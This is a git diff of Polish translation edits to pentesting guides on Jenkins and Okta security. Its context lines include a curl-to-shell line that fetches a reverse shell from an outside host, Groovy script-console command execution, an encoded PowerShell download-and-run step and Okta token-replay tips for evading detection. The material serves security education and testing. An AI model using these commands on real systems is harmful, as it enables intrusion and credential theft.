-Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins używa **AES do szyfrowania i ochrony sekretów**, poświadczeń i ich odpowiednich kluczy szyfrujących. Te klucze szyfrujące są przechowywane w `$JENKINS_HOME/secrets/` wraz z kluczem głównym używanym do ochrony tych kluczy. Ten katalog powinien być skonfigurowany tak, aby tylko użytkownik systemu operacyjnego, na którym działa kontroler Jenkins, miał dostęp do odczytu i zapisu do tego katalogu (tj. wartość `chmod` wynosząca `0700` lub używając odpowiednich atrybutów plików). **Klucz główny** (czasami nazywany "kluczem szyfrującym" w kryptologii) jest **przechowywany \_nieszyfrowany**\_ w systemie plików kontrolera Jenkins w **`$JENKINS_HOME/secrets/master.key`**, co nie chroni przed atakującymi mającymi bezpośredni dostęp do tego pliku. Większość użytkowników i deweloperów będzie używać tych kluczy szyfrujących pośrednio za pomocą API [Secret](https://javadoc.jenkins.io/byShortName/Secret) do szyfrowania ogólnych danych sekretów lub przez API poświadczeń. Dla ciekawskich kryptograficznie, Jenkins używa AES w trybie łańcucha bloków szyfrujących (CBC) z paddingiem PKCS#5 i losowymi IV do szyfrowania instancji [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), które są przechowywane w `$JENKINS_HOME/secrets/` z nazwą pliku odpowiadającą ich identyfikatorowi `CryptoConfidentialKey`. Powszechne identyfikatory kluczy obejmują:
+Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins używa **AES do szyfrowania i ochrony sekretów**, poświadczeń i ich odpowiednich kluczy szyfrujących. Te klucze szyfrujące są przechowywane w `$JENKINS_HOME/secrets/` wraz z kluczem głównym używanym do ochrony tych kluczy. Ten katalog powinien być skonfigurowany tak, aby tylko użytkownik systemu operacyjnego, na którym działa kontroler Jenkins, miał dostęp do odczytu i zapisu do tego katalogu (tj. wartość `chmod` wynosząca `0700` lub używając odpowiednich atrybutów plików). **Klucz główny** (czasami nazywany "kluczem szyfrującym" w kryptologii) jest **przechowywany \_nieszyfrowany**\_ w systemie plików kontrolera Jenkins w **`$JENKINS_HOME/secrets/master.key`**, co nie chroni przed atakującymi mającymi bezpośredni dostęp do tego pliku. Większość użytkowników i deweloperów będzie używać tych kluczy szyfrujących pośrednio za pomocą API [Secret](https://javadoc.jenkins.io/byShortName/Secret) do szyfrowania ogólnych danych sekretów lub za pośrednictwem API poświadczeń. Dla ciekawskich kryptograficznie, Jenkins używa AES w trybie łańcucha bloków szyfrujących (CBC) z paddingiem PKCS#5 i losowymi IV do szyfrowania instancji [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), które są przechowywane w `$JENKINS_HOME/secrets/` z nazwą pliku odpowiadającą ich identyfikatorowi `CryptoConfidentialKey`. Typowe identyfikatory kluczy obejmują:
 
 - `hudson.util.Secret`: używany do ogólnych sekretów;
 - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: używany dla niektórych typów poświadczeń;
@@ -75,9 +75,9 @@ Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets
 
 ### Dostęp do poświadczeń
 
-Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`), które mogą być dostępne przez dowolny skonfigurowany projekt, lub mogą być ograniczone do **konkretnych projektów** (`/job/<project-name>/configure`) i dlatego dostępne tylko z konkretnego projektu.
+Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`), które mogą być dostępne przez każdy skonfigurowany projekt, lub mogą być ograniczone do **konkretnych projektów** (`/job/<project-name>/configure`), a zatem dostępne tylko z konkretnego projektu.
 
-Zgodnie z [**dokumentacją**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Poświadczenia, które są w zakresie, są udostępniane pipeline'owi bez ograniczeń. Aby **zapobiec przypadkowemu ujawnieniu w logu budowy**, poświadczenia są **ukrywane** przed regularnym wyjściem, więc wywołanie `env` (Linux) lub `set` (Windows), lub programy drukujące swoje środowisko lub parametry **nie ujawnią ich w logu budowy** użytkownikom, którzy w przeciwnym razie nie mieliby dostępu do poświadczeń.
+Zgodnie z [**dokumentacją**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Poświadczenia, które są w zakresie, są udostępniane w potoku bez ograniczeń. Aby **zapobiec przypadkowemu ujawnieniu w dzienniku budowy**, poświadczenia są **ukrywane** przed regularnym wyjściem, więc wywołanie `env` (Linux) lub `set` (Windows), lub programy drukujące swoje środowisko lub parametry **nie ujawnią ich w dzienniku budowy** użytkownikom, którzy w przeciwnym razie nie mieliby dostępu do poświadczeń.
 
 **Dlatego, aby wyeksportować poświadczenia, atakujący musi na przykład zakodować je w base64.**
 
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 010964e63..6e91c29f8 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -4,7 +4,7 @@
 
 W tym wpisie na blogu można znaleźć świetny sposób na przekształcenie podatności Local File Inclusion w Jenkins w RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
 
-To jest podsumowanie stworzone przez AI części wpisu, w której nadużycie arbitralnego ciasteczka jest wykorzystywane do uzyskania RCE, nadużywając lokalnego odczytu pliku, aż będę miał czas, aby stworzyć własne podsumowanie:
+To jest podsumowanie stworzone przez AI części wpisu, w której wykorzystanie arbitralnego ciasteczka jest nadużywane do uzyskania RCE poprzez lokalne odczytywanie plików, aż znajdę czas na stworzenie własnego podsumowania:
 
 ### Wymagania wstępne ataku
 
@@ -84,7 +84,7 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature
 
 - **Pobierz tokeny CSRF i sesji:**
 - Wykonaj żądanie do `/crumbIssuer/api/json`, aby uzyskać `Jenkins-Crumb`.
-- Przechwyć `JSESSIONID` z odpowiedzi, który będzie używany w połączeniu z ciasteczkiem "zapamiętaj mnie".
+- Przechwyć `JSESSIONID` z odpowiedzi, który będzie używany w połączeniu z ciasteczkiem "remember-me".
 
 **Żądanie wykonania polecenia**
 
@@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \
 
 - Skrypt Groovy może być użyty do wykonywania poleceń na poziomie systemu lub innych operacji w środowisku Jenkins.
 
-Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać arbitralny kod.
+Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać dowolny kod.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 8aebd65f4..d72543eca 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -26,12 +26,12 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
 }
 }
 ```
-Finally click on **Save**, and **Build Now** and the pipeline will be executed:
+Na koniec kliknij **Zapisz**, a następnie **Buduj teraz**, a potok zostanie wykonany:
 
 ![](<../../images/image (228).png>)
 
 ## Modyfikowanie potoku
 
-If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
+Jeśli masz dostęp do pliku konfiguracyjnego jakiegoś skonfigurowanego potoku, możesz po prostu **zmodyfikować go, dodając swój reverse shell**, a następnie go wykonać lub poczekać, aż zostanie wykonany.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index 603b3df59..901ead43e 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -7,9 +7,9 @@
 Ta metoda jest bardzo głośna, ponieważ musisz stworzyć zupełnie nowy projekt (oczywiście to zadziała tylko, jeśli użytkownik ma prawo do tworzenia nowego projektu).
 
 1. **Utwórz nowy projekt** (projekt Freestyle) klikając "Nowy element" lub w `/view/all/newJob`
-2. W sekcji **Budowanie** ustaw **Wykonaj powłokę** i wklej launcher PowerShell Empire lub PowerShell meterpreter (można uzyskać za pomocą _unicorn_). Uruchom ładunek za pomocą _PowerShell.exe_ zamiast _powershell._
+2. W sekcji **Budowanie** ustaw **Wykonaj powłokę** i wklej launcher PowerShell Empire lub PowerShell meterpreter (można go uzyskać za pomocą _unicorn_). Uruchom ładunek za pomocą _PowerShell.exe_ zamiast _powershell._
 3. Kliknij **Buduj teraz**
-1. Jeśli przycisk **Buduj teraz** się nie pojawia, możesz nadal przejść do **konfiguracji** --> **Wyzwalacze budowania** --> `Buduj okresowo` i ustawić cron na `* * * * *`
+1. Jeśli przycisk **Buduj teraz** się nie pojawia, możesz nadal przejść do **konfiguracji** --> **Wyzwalacze budowy** --> `Buduj okresowo` i ustawić cron na `* * * * *`
 2. Zamiast używać crona, możesz użyć konfiguracji "**Wyzwalaj budowy zdalnie**", gdzie musisz tylko ustawić nazwę tokena API, aby wyzwolić zadanie. Następnie przejdź do swojego profilu użytkownika i **wygeneruj token API** (nazwij ten token API tak, jak nazwałeś token API do wyzwolenia zadania). Na koniec wyzwól zadanie za pomocą: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
 
 ![](<../../images/image (165).png>)
@@ -26,7 +26,7 @@ Lub **spróbuj uzyskać dostęp do ścieżki** `/job/<proj-name>/configure` lub
 
 ## Wykonanie
 
-Jeśli masz prawo do konfiguracji projektu, możesz **sprawić, aby wykonywał polecenia, gdy budowa zakończy się sukcesem**:
+Jeśli masz prawo do skonfigurowania projektu, możesz **sprawić, że będzie wykonywał polecenia, gdy budowa zakończy się sukcesem**:
 
 ![](<../../images/image (98).png>)
 
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 5c00660e8..368ca2534 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -1,8 +1,8 @@
-# Jenkins RCE with Groovy Script
+# Jenkins RCE z użyciem skryptu Groovy
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Jenkins RCE with Groovy Script
+## Jenkins RCE z użyciem skryptu Groovy
 
 To jest mniej hałaśliwe niż tworzenie nowego projektu w Jenkins
 
@@ -14,11 +14,11 @@ println "Found text ${process.text}"
 ```
 Możesz wykonać polecenie używając: `cmd.exe /c dir`
 
-W **linux** możesz zrobić: **`"ls /".execute().text`**
+W **linux** możesz to zrobić: **`"ls /".execute().text`**
 
-Jeśli musisz użyć _cudzysłowów_ i _pojedynczych cudzysłowów_ wewnątrz tekstu. Możesz użyć _"""PAYLOAD"""_ (potrójne podwójne cudzysłowy), aby wykonać ładunek.
+Jeśli musisz użyć _cudzysłowów_ i _pojedynczych cudzysłowów_ wewnątrz tekstu, możesz użyć _"""PAYLOAD"""_ (potrójne podwójne cudzysłowy), aby wykonać ładunek.
 
-**Inny przydatny skrypt groovy** to (zamień \[INSERT COMMAND]):
+**Inny przydatny skrypt groovy** to (zastąp \[INSERT COMMAND]):
 ```python
 def sout = new StringBuffer(), serr = new StringBuffer()
 def proc = '[INSERT COMMAND]'.execute()
@@ -34,7 +34,7 @@ proc.consumeProcessOutput(sout, serr)
 proc.waitForOrKill(1000)
 println "out> $sout err> $serr"
 ```
-### Reverse shell w Windows
+### Reverse shell w systemie Windows
 
 Możesz przygotować serwer HTTP z PS reverse shell i użyć Jekinsa do pobrania i wykonania go:
 ```python
@@ -46,7 +46,7 @@ cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
 
 Możesz zautomatyzować ten proces za pomocą [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
 
-Możesz użyć MSF, aby uzyskać odwróconą powłokę:
+Możesz użyć MSF, aby uzyskać powrotną powłokę:
 ```
 msf> use exploit/multi/http/jenkins_script_console
 ```
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index 0a036e0a6..e7f0bc6b8 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -16,48 +16,48 @@ Flagowym produktem Okta jest **Okta Identity Cloud**. Ta platforma obejmuje zest
 
 Usługi te mają na celu wzmocnienie ochrony danych i uproszczenie dostępu użytkowników, zwiększając zarówno bezpieczeństwo, jak i wygodę. Wszechstronność rozwiązań Okta sprawia, że są one popularnym wyborem w różnych branżach, korzystają z nich zarówno duże przedsiębiorstwa, małe firmy, jak i indywidualni programiści. Na ostatnią aktualizację we wrześniu 2021 roku, Okta jest uznawana za znaczącą jednostkę w obszarze zarządzania tożsamością i dostępem (IAM).
 
-> [!OSTRZEŻENIE]
+> [!CAUTION]
 > Głównym celem Okta jest skonfigurowanie dostępu do różnych użytkowników i grup do aplikacji zewnętrznych. Jeśli uda ci się **skompromentować uprawnienia administratora w środowisku Okta**, prawdopodobnie będziesz w stanie **skompromentować wszystkie inne platformy, z których korzysta firma**.
 
-> [!WSKAZÓWKA]
+> [!TIP]
 > Aby przeprowadzić przegląd bezpieczeństwa środowiska Okta, powinieneś poprosić o **dostęp tylko do odczytu dla administratora**.
 
 ### Podsumowanie
 
 Są **użytkownicy** (którzy mogą być **przechowywani w Okta,** logowani z skonfigurowanych **Dostawców Tożsamości** lub uwierzytelniani za pomocą **Active Directory** lub LDAP).\
 Ci użytkownicy mogą być w **grupach**.\
-Są także **uwierzytelnienia**: różne opcje uwierzytelniania, takie jak hasło oraz kilka 2FA, takich jak WebAuthn, e-mail, telefon, Okta Verify (mogą być włączone lub wyłączone)...
+Są także **uwierzytelnienia**: różne opcje uwierzytelniania, takie jak hasło oraz kilka 2FA, takich jak WebAuthn, e-mail, telefon, okta verify (mogą być włączone lub wyłączone)...
 
-Następnie są **aplikacje** zsynchronizowane z Okta. Każda aplikacja będzie miała jakieś **mapowanie z Okta** do dzielenia się informacjami (takimi jak adresy e-mail, imiona...). Ponadto każda aplikacja musi być częścią **Polityki Uwierzytelniania**, która wskazuje **potrzebne uwierzytelnienia** dla użytkownika, aby **uzyskać dostęp** do aplikacji.
+Następnie są **aplikacje** zsynchronizowane z Okta. Każda aplikacja będzie miała jakieś **mapowanie z Okta** do dzielenia się informacjami (takimi jak adresy e-mail, imiona...). Ponadto każda aplikacja musi być w **Polityce Uwierzytelniania**, która wskazuje **potrzebne uwierzytelnienia** dla użytkownika, aby **uzyskać dostęp** do aplikacji.
 
-> [!OSTRZEŻENIE]
+> [!CAUTION]
 > Najpotężniejszą rolą jest **Super Administrator**.
 >
 > Jeśli atakujący skompromituje Okta z dostępem administratora, wszystkie **aplikacje ufające Okta** będą prawdopodobnie **skompromentowane**.
 
 ## Ataki
 
-### Lokalizowanie portalu Okta
+### Lokalizacja portalu Okta
 
-Zazwyczaj portal firmy będzie znajdował się pod adresem **companyname.okta.com**. Jeśli nie, spróbuj prostych **wariantów** **companyname.** Jeśli nie możesz go znaleźć, możliwe, że organizacja ma rekord **CNAME** taki jak **`okta.companyname.com`** wskazujący na **portal Okta**.
+Zazwyczaj portal firmy będzie znajdował się pod adresem **companyname.okta.com**. Jeśli nie, spróbuj prostych **wariantów** **companyname.** Jeśli nie możesz go znaleźć, możliwe, że organizacja ma rekord **CNAME** jak **`okta.companyname.com`** wskazujący na **portal Okta**.
 
 ### Logowanie do Okta za pomocą Kerberos
 
 Jeśli **`companyname.kerberos.okta.com`** jest aktywne, **Kerberos jest używany do dostępu do Okta**, zazwyczaj omijając **MFA** dla użytkowników **Windows**. Aby znaleźć użytkowników Okta uwierzytelnionych za pomocą Kerberos w AD, uruchom **`getST.py`** z **odpowiednimi parametrami**. Po uzyskaniu **biletu użytkownika AD**, **wstrzyknij** go do kontrolowanego hosta za pomocą narzędzi takich jak Rubeus lub Mimikatz, upewniając się, że **`clientname.kerberos.okta.com` jest w strefie "Intranet" w Opcjach Internetowych**. Uzyskanie dostępu do konkretnego URL powinno zwrócić odpowiedź JSON "OK", co wskazuje na akceptację biletu Kerberos i przyznanie dostępu do pulpitu nawigacyjnego Okta.
 
-Skompromitowanie **konta usługi Okta z delegacją SPN umożliwia atak Silver Ticket.** Jednak użycie przez Okta **AES** do szyfrowania biletów wymaga posiadania klucza AES lub hasła w postaci jawnej. Użyj **`ticketer.py`, aby wygenerować bilet dla użytkownika ofiary** i dostarczyć go za pośrednictwem przeglądarki do uwierzytelnienia w Okta.
+Skompromitowanie **konta usługi Okta z delegacją SPN umożliwia atak Silver Ticket.** Jednak użycie przez Okta **AES** do szyfrowania biletów wymaga posiadania klucza AES lub hasła w postaci jawnej. Użyj **`ticketer.py`, aby wygenerować bilet dla ofiary** i dostarczyć go za pośrednictwem przeglądarki do uwierzytelnienia w Okta.
 
 **Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
 ### Przejęcie agenta AD Okta
 
-Technika ta polega na **dostępie do agenta AD Okta na serwerze**, który **synchronizuje użytkowników i obsługuje uwierzytelnianie**. Poprzez badanie i deszyfrowanie konfiguracji w **`OktaAgentService.exe.config`**, szczególnie AgentToken przy użyciu **DPAPI**, atakujący może potencjalnie **przechwycić i manipulować danymi uwierzytelniającymi**. Umożliwia to nie tylko **monitorowanie** i **przechwytywanie danych logowania** w postaci jawnej podczas procesu uwierzytelniania Okta, ale także **reagowanie na próby uwierzytelnienia**, co umożliwia nieautoryzowany dostęp lub zapewnia uniwersalne uwierzytelnienie przez Okta (podobnie jak 'klucz uniwersalny').
+Ta technika polega na **dostępie do agenta AD Okta na serwerze**, który **synchronizuje użytkowników i obsługuje uwierzytelnianie**. Poprzez badanie i deszyfrowanie konfiguracji w **`OktaAgentService.exe.config`**, szczególnie AgentToken przy użyciu **DPAPI**, atakujący może potencjalnie **przechwycić i manipulować danymi uwierzytelniającymi**. Umożliwia to nie tylko **monitorowanie** i **przechwytywanie danych logowania** w postaci jawnej podczas procesu uwierzytelniania Okta, ale także **reagowanie na próby uwierzytelnienia**, co umożliwia nieautoryzowany dostęp lub zapewnia uniwersalne uwierzytelnienie przez Okta (podobnie jak 'klucz uniwersalny').
 
 **Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
 ### Przejęcie AD jako administrator
 
-Technika ta polega na przejęciu agenta AD Okta poprzez najpierw uzyskanie kodu OAuth, a następnie żądanie tokena API. Token jest powiązany z domeną AD, a **konektor jest nazwany, aby ustanowić fałszywego agenta AD**. Inicjalizacja pozwala agentowi na **przetwarzanie prób uwierzytelnienia**, przechwytując dane logowania za pośrednictwem API Okta. Narzędzia automatyzacyjne są dostępne, aby uprościć ten proces, oferując płynny sposób na przechwytywanie i obsługę danych uwierzytelniających w środowisku Okta.
+Ta technika polega na przejęciu agenta AD Okta poprzez najpierw uzyskanie kodu OAuth, a następnie żądanie tokena API. Token jest powiązany z domeną AD, a **konektor jest nazwany, aby ustanowić fałszywego agenta AD**. Inicjalizacja pozwala agentowi na **przetwarzanie prób uwierzytelnienia**, przechwytując dane logowania za pośrednictwem API Okta. Narzędzia automatyzacyjne są dostępne, aby uprościć ten proces, oferując płynny sposób na przechwytywanie i obsługę danych uwierzytelniających w środowisku Okta.
 
 **Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
@@ -84,15 +84,15 @@ Dlatego aplikacja powinna mieć to pole włączone, jeśli istnieje:
 
 Widziałem także inne aplikacje, które były podatne, ale nie miały tego pola w ustawieniach Okta (na końcu różne aplikacje są konfigurowane inaczej).
 
-Najlepszym sposobem, aby dowiedzieć się, czy możesz się podszyć pod kogokolwiek w każdej aplikacji, byłoby spróbować!
+Najlepszym sposobem, aby dowiedzieć się, czy możesz podszyć się pod kogokolwiek w każdej aplikacji, byłoby spróbować!
 
-## Unikanie polityk wykrywania behawioralnego <a href="#id-9fde" id="id-9fde"></a>
+## Omijanie polityk wykrywania behawioralnego <a href="#id-9fde" id="id-9fde"></a>
 
 Polityki wykrywania behawioralnego w Okta mogą być nieznane do momentu ich napotkania, ale **omijanie** ich można osiągnąć poprzez **bezpośrednie celowanie w aplikacje Okta**, unikając głównego pulpitu nawigacyjnego Okta. Z **tokenem dostępu Okta** powtórz token na **specyficznym URL aplikacji Okta** zamiast na głównej stronie logowania.
 
 Kluczowe zalecenia obejmują:
 
-- **Unikaj używania** popularnych proxy anonimowych i usług VPN podczas powtarzania przechwyconych tokenów dostępu.
+- **Unikaj używania** popularnych proxy anonimizujących i usług VPN podczas powtarzania przechwyconych tokenów dostępu.
 - Upewnij się, że **ciąg user-agent** jest spójny między klientem a powtórzonymi tokenami dostępu.
 - **Powstrzymaj się od powtarzania** tokenów od różnych użytkowników z tego samego adresu IP.
 - Zachowaj ostrożność podczas powtarzania tokenów przeciwko pulpitowi nawigacyjnemu Okta.
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index b6de16162..ace5f6dee 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -17,7 +17,7 @@ Można zobaczyć **osoby w grupach** oraz **aplikacje przypisane** do każdej gr
 
 Oczywiście, każda grupa o nazwie **admin** jest interesująca, szczególnie grupa **Global Administrators**, sprawdź członków, aby dowiedzieć się, kto jest najbardziej uprzywilejowany.
 
-Z perspektywy przeglądu whitebox, **nie powinno być więcej niż 5 globalnych administratorów** (lepiej, jeśli jest tylko 2 lub 3).
+Z przeglądu whitebox, **nie powinno być więcej niż 5 globalnych administratorów** (lepiej, jeśli jest tylko 2 lub 3).
 
 ### Devices
 
@@ -33,7 +33,7 @@ Ponadto, w profilu **`User (default)`** z Okta możesz zobaczyć **które pola**
 
 Katalogi pozwalają na importowanie osób z istniejących źródeł. Przypuszczam, że tutaj zobaczysz użytkowników importowanych z innych katalogów.
 
-Nie widziałem tego, ale przypuszczam, że to jest interesujące, aby dowiedzieć się o **innych katalogach, które Okta używa do importowania użytkowników**, więc jeśli **skomprumujesz ten katalog**, mógłbyś ustawić niektóre wartości atrybutów w użytkownikach utworzonych w Okta i **może skompromitować środowisko Okta**.
+Nie widziałem tego, ale przypuszczam, że to jest interesujące, aby dowiedzieć się o **innych katalogach, które Okta używa do importowania użytkowników**, więc jeśli **skomprumujesz ten katalog**, mógłbyś ustawić wartości atrybutów w użytkownikach utworzonych w Okta i **może skompromitować środowisko Okta**.
 
 ### Profile Sources
 
@@ -65,7 +65,7 @@ Interesujące ustawienie, ale nic super interesującego z punktu widzenia bezpie
 
 ### Applications
 
-Tutaj możesz znaleźć wszystkie **skonfigurowane aplikacje** i ich szczegóły: Kto ma do nich dostęp, jak jest skonfigurowane (SAML, OpenID), URL do logowania, mapowania między Okta a aplikacją...
+Tutaj możesz znaleźć wszystkie **skonfigurowane aplikacje** i ich szczegóły: Kto ma do nich dostęp, jak są skonfigurowane (SAML, OpenID), URL do logowania, mapowania między Okta a aplikacją...
 
 W zakładce **`Sign On`** znajduje się również pole o nazwie **`Password reveal`**, które pozwala użytkownikowi **ujawnić swoje hasło** podczas sprawdzania ustawień aplikacji. Aby sprawdzić ustawienia aplikacji z panelu użytkownika, kliknij 3 kropki:
 
@@ -79,7 +79,7 @@ I możesz zobaczyć więcej szczegółów o aplikacji (jak funkcja ujawniania ha
 
 ### Access Certifications
 
-Użyj Access Certifications, aby tworzyć kampanie audytowe w celu okresowego przeglądu dostępu użytkowników do zasobów i automatycznego zatwierdzania lub odbierania dostępu, gdy jest to wymagane.
+Użyj Access Certifications, aby tworzyć kampanie audytowe do okresowego przeglądu dostępu użytkowników do zasobów i automatycznego zatwierdzania lub cofania dostępu, gdy jest to wymagane.
 
 Nie widziałem tego używanego, ale przypuszczam, że z defensywnego punktu widzenia to ładna funkcja.
 
@@ -102,7 +102,7 @@ Tutaj można znaleźć poprawnie i **niebezpiecznie** skonfigurowane **ustawieni
 
 ### Authenticators
 
-Tutaj możesz znaleźć wszystkie metody uwierzytelniania, które użytkownik mógłby użyć: Hasło, telefon, e-mail, kod, WebAuthn... Klikając w uwierzytelnianie hasłem, możesz zobaczyć **politykę haseł**. Sprawdź, czy jest silna.
+Tutaj możesz znaleźć wszystkie metody uwierzytelniania, które użytkownik może użyć: Hasło, telefon, e-mail, kod, WebAuthn... Klikając w uwierzytelnianie hasłem, możesz zobaczyć **politykę haseł**. Sprawdź, czy jest silna.
 
 W zakładce **Enrollment** możesz zobaczyć, które z nich są wymagane lub opcjonalne:
 
@@ -122,13 +122,13 @@ Tutaj możesz znaleźć polityki sesji przypisane do różnych grup. Na przykła
 
 <figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
 
-Zaleca się żądanie MFA, ograniczenie czasu trwania sesji do kilku godzin, nie utrzymywanie ciasteczek sesji w rozszerzeniach przeglądarki oraz ograniczenie lokalizacji i dostawcy tożsamości (jeśli to możliwe). Na przykład, jeśli każdy użytkownik powinien logować się z konkretnego kraju, możesz zezwolić tylko na tę lokalizację.
+Zaleca się żądanie MFA, ograniczenie czasu trwania sesji do kilku godzin, nie utrzymywanie ciasteczek sesyjnych w rozszerzeniach przeglądarki oraz ograniczenie lokalizacji i dostawcy tożsamości (jeśli to możliwe). Na przykład, jeśli każdy użytkownik powinien logować się z konkretnego kraju, możesz zezwolić tylko na tę lokalizację.
 
 ### Identity Providers
 
-Dostawcy tożsamości (IdP) to usługi, które **zarządzają kontami użytkowników**. Dodanie IdP w Okta umożliwia Twoim użytkownikom końcowym **samo-rejestrację** w Twoich niestandardowych aplikacjach, najpierw uwierzytelniając się za pomocą konta społecznościowego lub karty inteligentnej.
+Dostawcy tożsamości (IdP) to usługi, które **zarządzają kontami użytkowników**. Dodanie IdP w Okta umożliwia Twoim użytkownikom **samo-rejestrację** w Twoich niestandardowych aplikacjach, najpierw uwierzytelniając się za pomocą konta społecznościowego lub karty inteligentnej.
 
-Na stronie dostawców tożsamości możesz dodać loginy społecznościowe (IdP) i skonfigurować Okta jako dostawcę usług (SP), dodając SAML przychodzący. Po dodaniu IdP możesz ustawić zasady routingu, aby kierować użytkowników do IdP w oparciu o kontekst, taki jak lokalizacja użytkownika, urządzenie lub domena e-mailowa.
+Na stronie dostawców tożsamości możesz dodać loginy społecznościowe (IdP) i skonfigurować Okta jako dostawcę usług (SP) poprzez dodanie SAML przychodzącego. Po dodaniu IdP możesz ustawić zasady routingu, aby kierować użytkowników do IdP w oparciu o kontekst, taki jak lokalizacja użytkownika, urządzenie lub domena e-mailowa.
 
 **Jeśli jakikolwiek dostawca tożsamości jest skonfigurowany**, z perspektywy atakującego i obrońcy sprawdź tę konfigurację i **czy źródło jest naprawdę godne zaufania**, ponieważ atakujący, który je skompromituje, mógłby również uzyskać dostęp do środowiska Okta.
 
@@ -140,7 +140,7 @@ Ponownie, sprawdź to, ponieważ atakujący, który skompromituje AD organizacji
 
 ### Network
 
-Strefa sieciowa to konfigurowalna granica, którą możesz wykorzystać do **przyznawania lub ograniczania dostępu do komputerów i urządzeń** w swojej organizacji w oparciu o **adres IP**, który żąda dostępu. Możesz zdefiniować strefę sieciową, określając jeden lub więcej indywidualnych adresów IP, zakresy adresów IP lub lokalizacje geograficzne.
+Strefa sieciowa to konfigurowalna granica, którą możesz wykorzystać do **przyznawania lub ograniczania dostępu do komputerów i urządzeń** w Twojej organizacji w oparciu o **adres IP**, który żąda dostępu. Możesz zdefiniować strefę sieciową, określając jeden lub więcej indywidualnych adresów IP, zakresy adresów IP lub lokalizacje geograficzne.
 
 Po zdefiniowaniu jednej lub więcej stref sieciowych możesz **użyć ich w globalnych politykach sesji**, **politykach uwierzytelniania**, powiadomieniach VPN i **zasadach routingu**.
 
@@ -154,11 +154,11 @@ Z perspektywy atakującego interesujące jest wiedzieć, które adresy IP są do
 
 ### API
 
-Możesz tworzyć tokeny API Okta na tej stronie i zobaczyć te, które zostały **utworzone**, ich **uprawnienia**, czas **wygaśnięcia** i **adresy URL źródłowe**. Zauważ, że tokeny API są generowane z uprawnieniami użytkownika, który utworzył token i są ważne tylko wtedy, gdy **użytkownik**, który je utworzył, jest **aktywny**.
+Możesz tworzyć tokeny API Okta na tej stronie i zobaczyć te, które zostały **utworzone**, ich **uprawnienia**, **czas wygaśnięcia** i **adresy URL źródłowe**. Zauważ, że tokeny API są generowane z uprawnieniami użytkownika, który utworzył token, i są ważne tylko wtedy, gdy **użytkownik**, który je utworzył, jest **aktywny**.
 
-**Zaufane źródła** przyznają dostęp do witryn, które kontrolujesz i którym ufasz, aby uzyskać dostęp do swojej organizacji Okta przez API Okta.
